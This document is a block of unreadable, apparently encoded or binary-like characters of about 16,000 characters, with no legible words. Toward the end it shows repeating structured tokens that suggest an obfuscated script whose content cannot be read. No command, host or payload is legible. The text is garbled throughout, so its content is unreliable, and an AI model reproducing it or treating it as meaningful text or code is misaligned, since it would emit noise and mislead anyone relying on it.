GgA[l{il{z~mNKuuEuUz~mNl{al{z~mNiz_~mNMqz~mNGGoyLuu
^gACl{l{z~mNiz_~mNMqz~mNGG_zyvnvO]vJuuNMG
L H[[HPB^
^buuyoYG_zyvnvO]vJuuvNMGyoAyoLuu[yuu^ojjs
oAs[ljSrESHEUUrs
oAs[uuyrkurrFUUrs
oAs[uu[yrr~yoAuu
bA[l~rHuHr}rkr IUKpKpuuHIUrrSUrs
oAs[uuyrrlrFUUrs
oAs[uu[yrryoAyo
youugyAKpAluusLo
LAluusLog[oAs[uuCAlolbnA[gyo
eY^J	kgRM]KeAKER[FYy]gKe[yooCd^D[F}SokOKAeklbKsOF}fflK[COofunggkn]I]wEEoeb^uengYBdehlGYK^wCLGSYEt^Csl}O	@MkEU[lYkeHYUbd^ISE@t}Ch@GInGCdlnBypo	fBK B uC`C`E]h[JD@hGd`eSuHUOGRLElL`L`]YSLoAu@GGnC]}J^[GyIsth}sky`f[[dbuBKtUIp]Jb`gB^`no	AweM UeUMpe`e@H@tFEUdCb@GM OLAh``Kdfd`LCCfHy	kDSHyYsCF nywJfO[nwyD@}l}}	BpM`}YYKygIY`}fuGDgf@][Gf[FnYHhlIyo]@GO^YCR]
YDk nf`DRnIwJ	nn
pl[S^wfERSbtFheGHyCl A`DHgB@uRoRKO@HBLDKfFJMULEMo IOLbH As]R}ypBK[`BHY`OHnd`HnAwoS gw}sADh}}MIMe
J}HM`KItM^HeSJb@l^LKMFM HbHAwHI]hCM@g^bBuCDdlKuuBKebSMSyI}EOIBg Gt[[o}A^EpLtIwR^]GBs@wbl J l}odBOlI ^KU]
MSJ	 AIKChpDe
UHYw^	h}gf[B
eDu@h[lpOA[H`HnUeJsEMnYoElO	fkGf	^]`uOSYloCRsJUpGEG][SDgpflkhg t}lMDKHY	R[gGb`D}}
S
GuL^AOfgeLI[p}Ly@EEKCEoL
OUytg^Ybbb`BLDpILCDdAFL[ }kCubIFfdLJtwfH	FGAu	lJ}oG
Jt	edEF`kug]CD wGRdRwHfw weM]uw
e
bKDk`
@tfMMGDfGdJdn@DMMUKnFSy
b
@^oF
]Gwfe RDdUp]@U`	kfY^KOMFo  bYtFwpfle
gY^gyw}KweGwg]J
I`[tD	IF^ dDfCLdECEC`
CoAsdH]swdMdpdU
ICnbh	Gy	 Y]U@b^}HJddl@UlwfblSOo tO`
BkUnGgnyuDbk@C`psoSd`FeYdFGhBw`EtesYhJ
Dke^g`u}lsRAtDll	@C]@
IA[goMptgY	F}GReOYJeDLBllyJ}ODGlyIpnpIJlGdK]Gb`]fuplJ`blI]FwMRYwOh^HRC

^DU[^efuCySgbkIfe}K^`ODpyR @w]pOOoUb	
MJD	g^UsglY
Ok^uH}gHyCLDHKJy^H`AnyIsLRH[LGfGnHL	DupLE
FpbswDCYtY gl`pbyAAFsDHy}pYUnlBpI
 yg`}e[S]SSyFu}FYRhIhthwkhOGSDU
BwkyG^w^Fftttpl
le^IygICfC	MkUJu	odwkyOuSsB	U^ff^SwCu@@yu	wSFHwGyFC[@	lHtgngeeuK}	FYhBltLLbLuhknftUk
MIYlk
LOekEpe@eyIh YhBgkIlu^bRRO`HyYdn	[gh[AIDlLo tkHOfUe`]toCDk  gwALG
dHBHbYphCp]Bfn	hMsghoI` D@hELOBwMYfRLffuEUI @EoswylknC
CKhOM`^ }yAo}KbdKHOIMGsCFsI YK`MeeOE]pwLed`bsE	y[US]gFGEk@uoUfk@M^		E]SRSGYeOed[`@DCl}bMYUuytRYR	Ybd}FUJtGe}RKOAO}dRhgUJ@llHH^Eo@CK]nFyCHyRFFgRgDh@p CMJYlD@	DBBJknI}UlIsbdBHseY}JCwFOYMeSo`
Up}FnfoOteI^Ce^y
 ECRfYE}LfKJ[u^EGCn Gn obI}S MG dKYKl
tDGR	K[sMypoeJGSt`yGKFoCDUApeDgbS@
`egtgCgg]k	]leMpkUIJDMCYoLwtHRdpfuFBne	shs
wuhOKy]@KS]RAOEKSy@FkJLMREDS[R@kIMgpukSHuYb@d]d^FLw
nKhbO u@BRkfH
 H
dYBIIHlu`tksuDgfLLIh B[
p}S]BEE@yf}uJDeISf
HBFGI	`wYbM SJb
oDIftEfCIpJwktKBnCL GhJYEOO[eylf[bBG^[HkBLH}HyuwfSk IyYfEhgspJ
IEuo}
JtHfS
I][}koJgyUKGSfHb[ggkneu]EdsF^KHLMCfBY[tuDsfJh`	

YS
}YLgM][guYD}UhFw[U}
]CleIpfEht}`u B]KpGKE@MO	uUHKMRMylYUtDABShMHOKGYsLOSd]g[OhldoKu]Sb
ywGp
 Y]^^s	Mbp hEfEM[bOwR	^beCREsBYIAluulo^A[bnA
nA
A[los[o[ouu^G
vs[o[oYoo
QGGYoo
lQGGlo^
slo^A|
G|
A[lo
^buu^
y\_Yoo
l|QGG\Aluulo^A[bluullo^[lo^[[s
y^luu^lLlo^s[o^yol^
l H[[HPyA[KylnA
 ^lbA[loy^ ^^Aop
ybsl^uuAluulo^A[blo^[ls[uu[sy^ruuuuSuuKdSE
y^liyosLimls[uu[smqqxy^ruuuuSuuUEmmxluus[gAbluus[gAbuulAb@lG|
llo^
slo^Aluu^[sluuyYAluuA^A[louuo
lA[louuo
uuAllA[bluuA[lobouuo^y[lA[oAluuy^^yAluuy^^ylo^[lo^[KSIFlo^uu^
yoluulluullo^[Aluulo^A[b
ybuuyYGyy[vyY
Y
nb
h@nwys}ogAuuCAlolluulo

Y
uuly
Auu[yA[Auubo H[[HPi[s[qA[lo
Y
GluuA[AuuyGAluugAgAuubouus[o[ol
^buu^
yG[|yosuu
^
[uugAl{l{zm~N|z_m~^[N{
^buuBsoz_m~^[N{zm~N|^|[|GAluuIuuEUEuuHA[A[Auuo
uuAllA[b@GgAuubouus[o[olAluulo^A[bGyosuu
^
[uugAl{l{izm~N|qiz_m~^[NMq}GA[s[o^cA[uus[ry^uuC
s^oxyoYiY^syLrqcyoYiUC
oAs[rqcruul
A^[yiuuuukHUuuuuqmGAgiAluugAiuul
qqcuulgAuubouus[o[oliuul
qxAgiAluulo^A[biuulqqcAgilo^[iuulqZ}]	`@whquul
^buu^
yi~Gi[G{z]vJyvgNc}]]]a{GqMG~a~~auulqxAgiAluulo^A[biuulqPP@iuulq~~qco^cA[uus[ruul
xyoYiY^syLrqcyoYiUC
oAs[rqc[loiuulqx[loiuul
qxgAuubouus[o[ol@A[Auu^y
gAuubouus[o[olAluugAluuA[AuugyAluuA[AuuyA[AA^Aouus
[gAoAgAuuCAlolAluulo^A[b^yuugyAlo^
sl^o^Ayosuu
^
[uugArrmluuA[Auu
[A[bluuA[AuugyA[sluuA[Auuy H[[HP
^sLuu@]]luuA[AuugyAA[ASuuFuuIUIluuA[Auu
[A[bg[oAs[uuCAlolA[AuuboA[Auubol^uuA[AyYuuoo[sluuA[AuugyAluuA[Auu
[A[b[s
^sLuuyGYoyll
oAs[lrvH[ClTkAluyoYrminA
sblBqmZTHgusrsuuyoYnuus^ZBA^ryr[ATGHgusZTHgusrXsuuyoYnuus^Z[rg^sryTGkAluyoYZgAuuCAlolgAuubouus[o[olYo
Y
Youuo
luuylouugoYuuolYoYouuo
uuAllA[bYoyllGYoyllA[Auubol^uuA[AgA[yAluugAAluulo^A[bGyosuu
^
[uugAl{i|Qlql{izm~N|qiz_m~^[NMq}GA
^buu^
yG_T|
Y
GT|
Y
ro^cA[uus[rxyoYiY^syLrqcyoYiUC
oAs[rqc
^uugyAYoyllGYoyllluuYouuyoAAluulo^A[bYouusy^gAuubouus[o[ol H[[HPluuYouugyA[sA^Aouus
[
Y
uuyryosuu
^
[uugAgAuuCAlolgsg[oAs[uuCAlolgsAluugAgsrmrmrmg[oAs[uuCAlols[o[sluuYouuyluuYouuyKSIFg[oAs[uuCAlols
o
youus
oAs[KuuFSKuu SUKuuISSylluuCAlollBAKuu SUKuuISSKuuEuUlBAQrs
osG
vsLovyYvyogAlAngAuubouus[o[ols[oS}[
ybnslo^[lo^[@Aluulo^A[bG_T|
Y
l{GsuuG{rSuuuuKUHEQr{GG{rSuuuuUEQ H[[HPT|
Y
rG{r
vsLovyYvr{GrG{rSeQy[y^uuy^uugyASuuuuKUHElo^
sl
vsLovyYvGSeQiMMMqGZG[|G{rSuuuuKUHEQizyvnvO]vJuuN{Qqr{G{|G{rSuuuuUEQ}r{G[|Gl
^uugyAs^A[luuy
y[y^uuy^uugyAG{r
vsLovyYvKSIFgAuubouus[o[olG_S}QiMMMqQGluusuuyouusluusuuyouusyouus^^
oAluulo^A[bS}Q@gos
vs[gAb
Y
goslYs
uus
[gosYylYYylYlYyR@h@SSFu}Qlo^[lYs
uulAnlYs
uu^yAluulo^A[blo^
sllYs
uusllYs
uu^Aolo^uu
ylYs
lYs
uuolYs
uus
[lo^uu
yAluulo^A[bGT|
Y
GAlLlo^G_l{iy^l{i{|ql{x[yl
ylMz_xcNMl{xqGAl H[[HPlLlo^lLlo^T|
Y
rg[oAs[uuCAlolluu^A[luulo^
slbouus
oAs[g[oAs[uuCAlol
youus
oAs[Aluulo^A[bC
s^s
A[obuusguuy^rLyl[y
Y
nA
gosA[oySuueuuyyuuo
uuAllA[bgAuubouus[o[olAluulo^A[byyuuG{rSuueuuKUHEQG{rSuueuuUEQr{G
^buu^
yGG{rSuueuuKUHEQizyvnvO]vJuuN{Qqr{G{|G{rSuueuuUEQ}r{GGlSuueuuUlo^
sllo^
sl
^buu^
yGzroN{Agl{il{gA[l{il{zm~NSuueuuUzm~Nl{ql{ql{^o^[l{xz_^[N{Gy
^buu^
yyyyy[y^uuy^uugyAU USuuuUFluuby^Aluu^AoyL
vA[lbuuGbuuGbCuugAoA H[[HPoAoAGbuu
vA[lGoAGbuugAuubouus[o[ol
^buuyoYG_MMMGGbluuoAby^^y
uull
ooA[suuloyol
Y
Aluu^AoyLIu uuI HEuuHG
bA[lIuuEUEuuHby^Lylh	uu[sLylh	uu[sLylh	uu[sLylh	uu[sLylh	uu[sLyl[yluuylouugoYuuolby^by^uuo
uuAllA[bby^uuo
uuA[yAGbuu@Gbuuby^lLlo^uus[olo^[lo^[Aluulo^A[blo^[Aluug^uul
yluu
yuusgguuoloAoAlo^[lLlo^|Z^y[suuLolLA[RYClo^[ H[[HP{GAluulo^A[bGi^|[G{z]vJyvgNc}]]]a{GqMGAluulo^A[bg[oAs[uuCAlolbouus
oAs[Aluulo^A[bAluugAluus[uuluus[uuluus[uuy[AgloAluuy^^ygAuubouus[o[ol@luus[uuy[Agloluus[uug[oAs[uuCAlolluus[uuy[Aglo@sAgAgAuubouus[o[ol
^buuyoYbylo^[lLlo^Gs[uus[
Y
g[oAs[uuCAlolluus[uu^Aluuy^^ylLlo^^B^Bloy^oA[bsloyoLssouuolLssouuolb[loy^ouuolU USuuHuUluus[uu^[sAluuy^^y
yoYAluulo^A[b
yoYAluugAgAlAn H[[HPLssouuols[[s[gyAy[[s[gAlAngAuubouus[o[olAluulo^A[bGiG{z]vJyvgNc}]]]a{Gql{GgAuubouus[o[ol
Y
GBuuAluugAgAoA@
youus
oAs[luug^^uuy^^yuulAbbs
bAluulo^A[b
^buuyoYuuyGLylh	uusil{~izvOyvn]vJMGNc}]]]aq~l{qG
^buuyoYuuyGi|QbnsbnA[gyobn[s
^llqil{mii|Qz_mN{i|Qz_mN{q{qqmGlCGCiz]vJyvgvkNcRqGYonBb@g}]uun`	JGi|QbnsbnA[gyobn[s
^llqil{~ii|Qz_~N{i|Qz_~N{q{qq~Gllo^uu^
y~Aluulo^A[bbnlo^
sllo^
sl
^buuyoYuuylo^
slAluulo^A[bAluulo^A[bGG{rSeQiMMMqr{GGlLlo^Aluulo^A[bG{rG_zyvnvO]vJuuQNMGlLlo^G{r H[[HPuuUEQlo^[oYuuGG{rSuuFuuKUHEQzyvnvO]vJuuN{Qr{GGAluulo^A[bSuuFn}hw@o[CyY
R@nSuuABB]BhhlJn`Aluulo^A[bGGGSuuFuuuuzyvg]vJuuNM^|[z_[N{GbBhlwAl@f}fA`SuuAluulo^A[boYuuGG{rSuuFuuKUHEQizyvnvO]vJuuQNMqr{GGGG{rSuuuuKUHEQizyvnvO]vJuuQNMqr{GGluuluuy[y^Aluuy^^yluuYylYuuBylvvZg[oAs[uuCAlolLA[oAg[oAs[uuCAlolAolo^AloAo^AlAoly[y^Lyuu^AouugyAGoYLuuLyLyuu^AouugyAoAo^Als[oAolluuy[y^[syuusL[	}
uu^souubo^A^oAs[[svlos^ar[svyYI^ybyg[oAs[uuCAlol H[[HPAluu
uu^^s^
uu^souu^o^Auu^l
s[luusg[oAs[uuCAlol
uu^souu^o^AuuLsgAuubouus[o[olAluugAbouus
oAs[AololgylobAuugA[AlYuu^BloAol
uugA[AlYuu^BloAol
uugA[AlYuu^BloAb[s^uul^uuyLs^oAb[s^uul^uuyLs^o
uu^souubo
vsbA[
Y
oA[^AgAuu
r|luu^y^[sPuu^g[oAs[uuCAlol^sLyuu@]]rAollo^
slTXvvSpQvvZlo^
slluu^sLyuusbA[@]]rAolLA[oALuuLA[AolAluulo^A[blo^
slluuLuuss[sAluulo^A[blo^
sluuluugySuuFuuKUHEluuSSFu}QSeQGSuui|QKequuKUHEQiMMMqGl
[o^yAnuugs^Ab[uulA
r H[[HPgAuu
ouus[o[olgAuubouus[o[ollo^[
^buu^
yGzroN{G{rSuuiKequuKUHEQizyvnvO]vJuuQNMqr{G{|G{rSuu}uuUEQRr{GzroN{^|[|GlAluulo^A[bgAoAls
yYuuA[yAyoAluulo^A[bGAluugAil{~iz_~NMq~l{qGAluulo^A[bKSIFA^[yLuugs^Ab[uulA
rl^^uusS^pvKSIFG
vs[gAb
Y
AluugAAluugAAluu^AoyL^y
yoYAluu^AoyLgAlAngAuubouus[o[olAluulo^A[bIuus^uuH[ob^AoGo
G
Y
lo^
slIuuUuIuuHluuo
uugAClluubouuo
uuA^lluubouuo
uuA^Go
AluuA^Aluu^AoyLGgA[l{il{z~mNIuuFUz~mNGgAuubouus[o[olSuueuuKUHEQlo^
slGgA[l{il{z~mNKSIFz~mNz_[N{[gA[ir~IuuFU~aro^rqx[GGgA[l{il{z~mNIuuUK z~mNl{al{o^l{qGAGgA[l{il{z~mNIuuUK uuz~mNl{al{o^l{qGA
^buuyoYGgA[l{il{z~mNIuuUK uuHSIDz~mNl{al{gyll{qGAGzroN{G{rIuus^uuH[ob^Aorizyvg]vJNMqr{G{|G{rU[vIuus^uuH[ob^Aor}r{GzroN{^|[|GlA
sGzroN{G{rIuus^uuH[ob^Aorizyvg]vJNMqr{G{|G{rU[vIuus^uuH[ob^Aor}r{GzroN{^|[|Gl
^buuyoYuuy H[[HPG_zroN{Agl{il{X|l{gAuuCAlolil{~Go
G
Y
zvOyvn]vJNM~z_[N{[izroN{Agl{il{uusPPz_[N{[q|G
^buu^
yGgA[l{il{z~mNKSIFz~mNz_[N{[GGigA[l{il{z~mNKSIFz~mNz_[N{[qG}Aluulo^A[b
^buuyoY
^buu^
yGigA[l{il{z~mNKSIFz~mNz_[N{[qG}
^buu^
yGigA[l{il{z~mNKSIFz~mNz_[N{[qgA[ir~IuuFU~aro^rqx[GG_zroN{gA[l{il{z~mNIuuUK iuuuuHSIDq|z~mNl{az_[N{[GA
^buuyoY
^buu^
y}Aluulo^A[b
GigA[l{il{z~mNKSIFz~mNz_[N{[qgA[ir~IuuFU~aro^rqxrG{rSuur{G[G}lYsG~iGo
G
Y
zvOyvn]vJNMq~Glo^
slouus
oAs[Gs
oAs[uu[yl{l{~iz_~NMq~Gy^^yuu[ABG_uulAouuo^y[lA[ouuiYyoYgquuzyvg]vJNMGIuuEUEuuHGv
bA[lg[oAs[uuCAlolbsLAluuA^G{G{
Y
GluuGs^uuAluugA^y
yoY^y
yoYSeQ
^buuyoYGG{rSeQiMMMqr{GGgs^Ab[uulA
rLyl[ys
yYuuA[yAyoLyl[ybsLbsLG{Gg[oAs[l
Y
AluugA H[[HPgAlAnlo^
slSuuFuuKUHElo^
slSuuuuKUHESuuFuuuuouus
oAs[sl

LC^JYs
oYLARbJ	f^nf[uuuuCL}^b^R}@LYB@oJnh}g[oAs[uuCAlolnuuRnnhony^[RR[sluuLssouuoLssobyuuoys^g[oAs[uuCAlololAluuy^^y^bAlo^uulYos[uug[oAs[A[QGYoyllg[oAs[uuCAloll^uuA[AgA[yAluulo^A[b^^o^AA[Q
vsLovyYvluu
^lAlouuy[AgloloyolAnoA
^buuyoYG^iMqGlLlo^lLlo^lLlo^AluugAgAlAnAluugAg[oAs[uuCAlol
Y
GL
Y
Gg[oAs[l
Y
^lLlo^]^ H[[HP
^lAloLAbQgAuubouus[o[olYo
Y

Y
Gyy[vyY
Y
SuuKgAuubouus[o[ol
^buu^
ygAuubouus[o[olGSeQMMMGlLlo^lo^
slG[|G{rSuuuuKUHEQizyvnvO]vJuuQNMqr{G{|G{rSuuuuUEQ}r{G[|GlGyYG
sylG{G{GbsLGoYlG{G
vA[lGbsL{
Y

vA[lGbCuuA[yg[oAs[uuCAlolbsLbuubluubuub
uubouubuubuubluub^uuGb^uu{
Y
YoyllgAuubouus[o[olyosuu
^
[uugAG[|THgusrsuu
Y
z]vJN{Zl{
Y
uuyryosuu
^
[uugAz_[N{z_[N{[TGHgusZ[|GAG[|
Y
uuyryosuu
^
[uugAz_[N{z_[N{[|GAAluulo^A[b
vs[gAb
Y
AluugAA^[yG
vs[gAb
Y
Suu H[[HP
^buu^
yGzroN{gA[l{il{z~mNIuuFUz~mNl{al{o^l{ql{xl{G{rSuur{GzroN{^|[|GgAoAl^uuA[AgA[yl^A[AgAuubouus[o[ol
^buu^
yGyosuu
^
[uugAl{{
^buuBso{[GAy^^yuuAggAluugASuuFbBhlwAl@f}fA`SuugoslYs
uuog[oAs[uuCAlolbouus
oAs[luuy[y^Aluuy^^yAolAluuy^^yAolluusuuyouusluuYouuynb
h@nwys}oluuby^g[oAs[uuCAlol
uuy^uulYuuYss`ohwhJ}`b^luu^s[uuby^A[yAyo
Y
lo^[LuuG{rSuuKuuKUHEQG{rSuuKuuUEQLuuGG{rSuuKuuKUHEQizyvnvO]vJuuN{Qqr{G{|G{rSuuKuuUEQ}r{GGllo^
slSuuKuuU
^buu^
yGzroN{Agl{il{gA[l{il{zm~NSuuKuuUzm~Nl{ql{ql{^o^[l{xz_^[N{GSuuKuu@Luuo
luuylouugoYuuolLuuo
uuAllA[b H[[HPG_T|
Y
l{Glo^[y[y^uuy^uugyA
vs[o[oGoYlGbouus
oAs[GoYuuoYy[AlYuu^los^luuoYuuyKSIFluuoYuuyG{rSuuFuuKUHEQr{GG{rSuuFuuUEQSuuFuulLlo^
Y
oYuuo
uuAllA[b
^buu^
ygsoYg[oAs[uuCAlolgsGoYuuLyoYuu[wff}no]
`
^buu^
yGGGSuuFuuuuzyvg]vJuuNM^|[z_[N{GoY
^uugyAlo^
slSuuFuuKUHESuuFuuuus^
Yy[Aluulo^A[bT|^o^Alo^[nA

Y
l^uu
oOA
^YAG
sylGyoDGGIuuEUEuuHgAuuCAlolgAlAn H[[HP
uu[CouulYKSIFYs^oAluuby^uuA[o^y^s[uulo
oogsBRL[L`fb`A
vA[lAluugAgAoAGbCuuAluugAoAAluugA@uugAluuby^^s[uuby^KSIFgAlAnuu`AlAwAY@	wAluulo^A[bs
olo^[g[oAs[uuCAlolyoAuu
bA[lA[uuy^^yyoAuu
bA[l
Y

^buuyoYlLlo^@^s[uu^A[loAluugAFIG}}r	]	rEsorks[g[oAs[uuCAlolbouus
oAs[
youus
oAs[[soA[s
^buuyoYG_l{i|QiG{GGy^rors[lorg[oAs[rlgqGG_zvOyvn]vJMG^[NMGlo^[lo^[s[o[ov
Qry

AyoAs[Gyyl^A
oS^Avs^^vsQrGFIG}}rR]	rEsrs[o[oluus[gAb H[[HPFIuuHkuuEEUuuuFFIG}}rf]	rEsorusAgAUybQrS^Avs^^vsQrGyYvs[o^sQr[svyYUybQrluu
luu^AgAluulo^A[bg[oAs[uuCAlolYsuu^
y^luu^g[oAs[uuCAlolbouus
oAs[lAo^FIuuFSAluulo^A[bGQMG^Agluuly[oAuu
^sLs[o[ov
QroCoG
yA[yYvs[o^sQr[svlos^SuuSUuQ@SuuSUuuukH^Aguu
g[oAs[uuCAlol^souuy[uusyA[fouuglYuuylbuuyY
^lluu
^buuyYAol
uu
^buuyAoS
uuyYuuIHAoS
uuyYuuIH
^buuyK^nuuI^byYoYsuuCAlolL^nuuyYuuglYoYsuuCAloly^uuosoyuuyY
guuy^uuyuuyYAluusLooyY
uuyYuuy^uuyYyos
oAAnyYyos
oAAnyYy^y
^buus[uuluuYy[bAluuyA[
uusA[buuyyCUSuuU US H[[HPtuIuuU USAluugAluu^sLsolAluulAoy
lAluulosAnuu
^A[os^v
^AlosAnuuYy[blouuAguuLA^lo^uu^
yTGl^A
oTGl^A
oYsuu^g[oAs[uuCAlolbouus
oAs[
youus
oAs[luuluu
^A[ouu[soluuluu
^A[ouu[sooAluuluu
^A[oTGLsZTYoluuluusLAluulo^A[bluulluulsLuuloy^oC`R[Aw}y`hLJw
yb[s
yb[s
vsbA[
Y
luuluuylouu^Tl^A
oryoyvlvy^rg[oAs[iYqcy^r^mmaAxgs^iA]xATY[boYxAMRq^MSo^A[bg^sYy^si
y^lH[oiYlLlo^iAaRqa}hqqx^o^[r^al[yAbyos^ziml^As^^mqNaAgilqlzimbobAlo^yoAs[lmqNiqoY[ig[oAs[i^lqc^lgs^UyYig[oAs[i^qcy^rXxAgiXqzimyoAmqaimyAoA[bA[loyA[bmqNgs^UyYig[oAs[iqcAgi^zNPP^zNziml^A
o mqNq}qxAgiq^zim[^bAlo^ H[[HPmqNiqqqzimyoYmqNig[oAs[iqcqTGl^A
oZlo^uu^
yg[oAs[uuCAlol
y^luu^^o^ATl^A
oryoyvlvy^rg[oAs[iYqcy^r^mmaAxgs^iA]xATY[boYxAMRq^MSo^A[bg^sYy^si
y^lH[oiYlLlo^iAaRqa}hqqx^o^[r^amqNxAgilqclzimbobAlo^yoAs[mqNils[uu[soY[ig[oAs[i^qcAgiX^qlzim^bAlo^acls
QqzimyoYmqNig[oAs[iqcqqzimyoYmqNig[oAs[iqcqxyU[oAlo[^mqNiimllybmqag[oAs[iqcy^rzimyoymqNxAgiPPqco^c[rk[oAs[iyosLiqqiqyoYiCqcqx^ymqNoY[ig[oAs[i^qc^zimmqNzim
sloullybmqNicoQm^mqqluu^bgAoAgAuubouus[o[olIuuEUEuuHbsLbsLAluuy^^yAluuy^^ylLlo^Aluuy^^yAluuA^ H[[HPlLlo^
Y
gAoAgAlAnlo^
sl
^buuyoYs
yYuuA[yAyol
Lyl[ysggLyl[y
Y
GluuA^[yv
bA[lbouus
oAs[A^[yLyl[yg[oAs[uuCAlolyoAuulAoAuu
bA[lA^[yGLyuuC
ss[o[A[g[oAs[uuCAlolgAuu
ouus[o[olgAlAn
yoY^y
yoYg[oAs[uuCAlol
Y
lLlo^@luuLssouu^luuLssouu^ZluuLssouuoSuuUuuKSIIUluuLssouuoSuuUuuKuueUloy^oA[buuysJ[s`	lsYo]][A`lY@bf`C@CABJIFHEkuuUtUESHEbh[}olbJRuuoh^l[gJ^bAlo^uulYos[uug[oAs[^bAlo^uulYos[uug[oAs[yC]o	[oLg^nlYJsyAo@sbluu[bg H[[HPLyl[yo^AgAuubouus[o[olA^[yGLouu
Y
sguu[A[Cg@@}^n}J@}Ybguu^@uu
^s]syv
bA[l
Y
yA[uuA[AoCCo	RbfLsRsw	
oA^LCwy	]Y^h^RwB	LwgBJsgg
sA@^lAffJg
guugA[^uus[[os^uus
olgl
uulCowl]Couu@
uugAuuy[yb^uus[[os^uus
olgA[^uus[[os^uus
olgl
uulCowl]Couu@gAuuy[yb^uus[[os^uus
olyoY[oAyoBBgBl^
f}}Ylwb
uusbA[yACy}Cnh	bRl
^uul^uuB^uuy]gC]	hfgBC^louul^uuB^fobCg[uuR`R`C^	Aluul^lfL

bJh}
YnLbuuA[gs^yoAs[A`Jyb]BbwBAwbb@}lYsuuyy[uu
bA[ly[osB	f[L@JLnlbyA[uuYyv
bA[l
Y
Luuguuw	h	wg
}b]slAouuo^y[lA[ouu
youu
bA[lyA}l	ws`BsCuuyuu
bA[l
uuyyCuuuugAuugs^uuy[yb^B}lhL[^J
uuyyCuus[[os^B}lhL[^J
uuyyCuugluus[[os^B}lhL[^J
uugsso^ll
hb[@	^LhAo
youu^A^o H[[HPl`h	g[	B[fR^RhAyA[uugsso^YffRllo
RAAsbA[uugsso^YffRllo
RAACR[n]oyl@B@n[Lgh}fL[fA^o@sbo	`oyy@uu	uubY]][^oCoyARnslYCJ}uuLLl}BCCo	RbfLsRsw	
Jbn@B
g^JC}`l
bA[luusynb
h@nwys}ohlJ^
]l`sgJ}w^yL[^b	LB}}LwAy^JL@
^}@[J^gLAbB@l	bouus
oAs[g[oAs[uuCAlolJJgnCRbR]^]
uuf
lC}oJJfbBwAYlbBb[A
hsRClg[oAs[uuCAlol
youus
oAs[luuylouu^s^uuYluuylouu^s^uuYoAR^LRJJB
^s[uulYlBAyogs^L^onhJAYwl
bA[luusy  T[L]\[G	Hr@tTO\GJ]@FG	KKAEPBMEYMGE@ RLBX\EC@PSE@]@ Ohkzy}aZJv_L[FYE\N@GKHD~e|n`gm{dBMA]Pjfl^uuOQ	 oxbuXSqpsCRrTtUw
cIi]KSIFluu^s	fR
bA[Ly HEuGvYoUgC{reQiMqkp~a]BT|nZJw@}`htDOxcmzNPX_\dj[OF[CCZ][ELGL C RYZ][YFZ]LrCt [YOHEZL LrCtOrYtT[L]\[G	[TO\GJ]@FG	@N[KMFGKOJZ@ R[L]\[G	KKAEPBMEYMGE@ TO\GJ]@FG	@^v_XSYHPXKSN@ R[L]\[G	KKAEPBMEYMGE@ TO\GJ]@FG	SPDBZLLFM]@ RC@[L]\[G	KKAEPBMEYMGEC T##O\GJ]@FG	^]HQQ^MLZQE[v@CZ RQE[v@CZ@ZZL]QE[v@CZ QE[v@CZ [L]\[G	QE[v@CZT#O\GJ]@FG	S@_]ZDLLMMKZDGAA\C@@H RAA\C@@H@ZZL]AA\C@@H AA\C@@H [L]\[G	AA\C@@HT##	###				MLO@GLM@^v_XSYHPXKSN  		F[			LQ@]##			O\GJ]@FG		^NKBHS]S^NFHGH^O] #					R#		[L]\[G						@ZZL]nefkhezr@N[KMFGKOJZ t 		nefkhezrSPDBZLLFM] t					@^v_XSYHPXKSN #				T#		O\GJ]@FG					[ZKLSD_ #								R#[L]\[G				vvo`elvv##				T#		O\GJ]@FG	@BZAN\Q\PQ@EXJP #	R#			[L]\[G	KKAEPBMEYMGE [ZKLSD_  #		T#	O\GJ]@FG						X^A[SKOSH[ #R#	@O	KKAEPBMEYMGE KKAEPBMEYMGE   			[L]\[G	YE\N@GvKHZLGHDL[ZKLSD_  ##MLXDFHODDKY							[ZKLSD_ #	##			NDD]NM^[\QB						MLO@GLMKKAEPBMEYMGE  											~yvye|n`gvm`{					#			@O	NDD]NM^[\QB														@N[KMFGKOJZ MLXDFHODDKY				NDD]NM^[\QB 					 				[L]\[G	@^v_XSYHPXKSN @^v_XSYHPXKSN MLXDFHODDKY				SPDBZLLFM] NDD]NM^[\QB  		 #[L]\[G			@N[KMFGKOJZ @^v_XSYHPXKSN MLXDFHODDKY  													@N[KMFGKOJZ MLXDFHODDKY #		T#		O\GJ]@FG					\vJHFGLF__PBZFA]G #	R#	\GAFFB	Z][FGN	NH]L^HP####[L]\[G		KKAEPBMEYMGE MLO@GLMSPDBZLLFM]  				~yd|vye|n`gvm`{				~yvjfg}lg}vm`{		SPDBZLLFM]  			 ####				T#O\GJ]@FG	GELKXEB_N@M@\ #	R#		[L]\[G		KKAEPBMEYMGE [ZKLSD_  #			T#	O\GJ]@FG			vGQBQZEPNCOHHML[GLAFES			_CZDGOY		 	YCOFJFCO\					OHEZL #R#				[L]\[G		KKAEPBMEYMGE KKAEPBMEYMGE  						iKKAEPBMEYMGE L[GLAFES		_CZDGOY			YCOFJFCO\ 					OHEZL#	T#		O\GJ]@FG	XX]L[vEYC^\OZSZ_@JLOEKOHSDG@[F		_CZDGOY ####R##			[L]\[G		@N[KMFGKOJZ @^v_XSYHPXKSN  						i@N[KMFGKOJZ OEKOHSDG@[F			_CZDGOY 						OHEZL#			T#		O\GJ]@FG			@PE[Z\[XJ_PLXGOEKOHSDG@[F #		R#	DFGFDF[YA@SL	^F[BX\L\L	OF[	~y	n[F\Y	kEFJB#JPYCv_OZK[Yyayv`g}vdhqyayv`g}vdhqEvCCP\K\PGJPYCv_OZK[Y#[L]\[G			SPDBZLLFM] SPDBZLLFM]  						i@N[KMFGKOJZ OEKOHSDG@[F 			OHEZL####					T#			O\GJ]@FG					JBA\G@vQJPN]M]OEKOHSDG@[F	@ZN[XKKQY ###						R##		[L]\[G			SPDBZLLFM] SPDBZLLFM]  		i@^v_XSYHPXKSN OEKOHSDG@[F		@ZN[XKKQY 											OHEZL#			T#	O\GJ]@FG		LCEBMJ]BEOEKOHSDG@[F ###	R####			JCvvY@XM^Y\L			^ASQ\PAL\@O #	[L]\[G		JBA\G@vQJPN]M]OEKOHSDG@[F					JCvvY@XM^Y\L			JCvvY@XM^Y\L						   			Y[CQSEMDC_  #T#	O\GJ]@FG		A[E_SCK^\vBYG[SKB\@			]_]YAEMZK #							RSYZODEKYvHLMXHYESYZODE#						[L]\[G				SPDBZLLFM] @N[KMFGKOJZ  		iSPDBZLLFM] G[SKB\@	]_]YAEMZK 			OHEZLGX@[]C]JMCKGGLDOYGX@[]C]JMC#	T#				O\GJ]@FG	OFS\^N^[@QHG[SKB\@			]_]YAEMZK #			R#[L]\[G				@^v_XSYHPXKSN SPDBZLLFM]  						iSPDBZLLFM] G[SKB\@		]_]YAEMZK 					OHEZL#			T#					O\GJ]@FG					Jv